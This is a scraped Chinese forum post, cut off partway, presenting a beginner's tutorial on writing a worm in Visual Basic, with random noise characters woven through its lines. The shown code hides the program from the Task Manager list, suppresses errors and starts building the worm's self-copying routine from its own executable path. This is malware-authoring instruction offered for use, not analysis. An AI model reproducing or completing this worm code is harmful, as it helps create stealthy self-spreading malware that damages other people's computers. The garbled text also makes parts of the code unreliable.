马上注册,结交更多好友,享用更多功能,让你轻松玩转闽南师范大学。
您需要 登录 才可以下载或查看,没有账号?立即加入
×
< >
, L# o* J9 H/ r) `1 a/ A) M
( X1 P, A! T; H& y1 m( eVB病毒编写——初学编程者必备</P>
4 v; T* b; j4 E: |; f/ u0 ?< >要编写一个蠕虫吗?很简单,只须有基本的编程概念就可以了。如果你没有编程的基本概念,我建议你去学习编程,才读这篇文章。我就在这里教你如何编写一个VB蠕虫吧!</P>7 C D8 h6 W5 K$ W. g
< >打开Visual Basic,选择“Standard EXE”的Project。移除那个Form,然后加入一个Module。点击Project-> roject1 Properties。在弹出来的窗口中,把Startup Object改为“Sub Main”。在Module中,键入以下的编码:</P>( [* G0 d* c! G; |/ u% z
< >Sub Main()
+ _2 s# d) _" {3 Y- v: Z+ z'TaskVisible的功能是把程序在End Task表中除掉。
# Y4 O& {# q; }' L7 I2 iApp.TaskVisible = False8 a+ S! d/ ~* r2 h: d$ h" |7 N
End Sub</P>8 i, B( o4 N9 q3 N2 C
< >以上的编码只是把程序从End Task表中除掉,没什么作用。现在,让这个VB蠕虫自行复制去别的文件夹。在Sub Main中键入以下的编码:</P>1 M$ I* b, e( K. [1 z7 N
< >'阻止问题发生2 c1 \8 `. d* r; t) U9 I
On Error Resume Next6 l6 s4 c( E5 ]5 f; v
Dim Location, Location2, DesLocation, DesLocation2+ g4 n) n6 Q/ N. b! V( h
'得到EXE的位置
( G" ]- l) J2 I4 gLocation = App.Path & "\" & App.EXEName & ".exe"3 O( t5 Q" ^3 G% L; j
Location2 = App.Path & App.EXEName & ".exe" </P> |